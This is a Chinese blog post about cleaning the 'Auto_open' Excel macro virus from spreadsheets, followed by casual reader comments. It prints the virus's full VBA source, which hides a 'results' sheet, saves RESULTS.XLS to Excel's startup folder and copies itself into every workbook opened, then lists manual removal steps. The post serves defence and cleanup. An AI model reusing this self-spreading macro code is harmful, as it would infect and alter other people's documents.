Auto_open宏病毒的解决方法

对于办公室一族office基本天天面对,但是office也会像其他程序一样中毒,比如宏病毒,如Auto_open宏病毒
病毒代码如下:
Sub auto_open()

    Application.OnSheetActivate = "ck_files"

End Sub
Sub ck_files()
    c$ = Application.StartupPath

    m$ = Dir(c$ & "\" & "RESULTS.XLS")

    If m$ = "RESULTS.XLS" Then p = 1 Else p = 0

    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

    whichfile = p + w * 10
    Select Case whichfile
    Case 10

    Application.ScreenUpdating = False

    n4$ = ActiveWorkbook.Name

    Sheets("results").Visible = True

    Sheets("results").Select

    Sheets("results").Copy

    With ActiveWorkbook

        .Title = ""

        .Subject = ""

        .Author = ""

        .Keywords = ""

        .Comments = ""

    End With

    newname$ = ActiveWorkbook.Name

    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False

    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _

        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _

        False, CreateBackup:=False

    ChDir c4$

    Workbooks(n4$).Sheets("results").Visible = False

    Application.OnSheetActivate = ""

    Application.ScreenUpdating = True

    Application.OnSheetActivate = "RESULTS.XLS!ck_files"

    Case 1

    Application.ScreenUpdating = False

    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path

    s$ = Workbooks(n4$).Sheets(1).Name

    If s$ <> "results" Then

        Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)

        Workbooks(n4$).Sheets("results").Visible = False

    Else
    End If

    Application.OnSheetActivate = ""

    Application.ScreenUpdating = True

    Application.OnSheetActivate = "RESULTS.XLS!ck_files"

    Case Else
End Select
End Sub
 
处理方法:
1、打开中毒的表格,把安全性调整为中或者高;
2、禁止运行,按ALT+F11,进入代码查看模式;
3、找到病毒代码所在的模块,移除模块,保存;
4、退出表格,不保存;
5、打开C盘,查找到“results.xls"这个表格,删除;
6、重新打开其它被感染的表格,重复以上2-4步;
7、完成,记得补装一个杀毒软件,否则下次还会中的;
如果采用杀毒软件清除,可能会不慎清除所有正常宏代码
分享到:

18 条评论

点击这里取消回复。
注意: 评论者允许使用'@user空格'的方式将自己的评论通知另外评论者。例如, ABC是本文的评论者之一,则使用'@ABC '(不包括单引号)将会自动将您的评论发送给ABC。使用'@all ',将会将评论发送给之前所有其它评论者。请务必注意user必须和评论者名相匹配(大小写一致)。

昵称
  1. 激情小鸭鸭

    说错了 是名字。。。 刚刚没看清…原来显示域名 -.-

    1. Aaron

      @ 激情小鸭鸭 : 已添加,你也给我加上去

      1. 牛图Web

        @ Aaron 哈哈哈 好的

        1. Aaron

          @ 牛图Web : 有什么好的主机商推荐吗?你用的哪里的主机

          Notify
  2. 激情小鸭鸭

    鸭子图片 – -。

    1. Aaron

      @ 激情小鸭鸭 : 你要点鸭子下面的,文字才有网址

  3. 激情小鸭鸭

    嘿嘿,一般比较懒,用金山的WPS

    1. Aaron

      @ 激情小鸭鸭 : 金山的也会中的

      1. 激情小鸭鸭

        @ Aaron : 擦,居然在线…能换个友链的,不过我的是新站…

        1. Aaron

          @ 激情小鸭鸭 : 等我下班回家先,留下你的站点,哈哈

          Notify
        2. 激情小鸭鸭

          @ Aaron :
          好的 cowtu.com 为什么点图片不显示网址 -。-

          Notify
        3. Aaron

          @ 激情小鸭鸭 : 哪里的图片?

          Notify
  4. 郑州摄影工作室

    网站排名降低了 应该不是病毒吧

    1. Aaron

      @ 郑州摄影工作室 : 排名降低不是病毒所致

  5. 地钻

    我的博客就被黑了

    1. Aaron

      @ 地钻 : 怎么被黑的

  6. 追逐RMB

    这个我暂时还没遇到过诶。, 不过先收藏留着吧。

    1. Aaron

      @ 追逐RMB : 希望有用吧~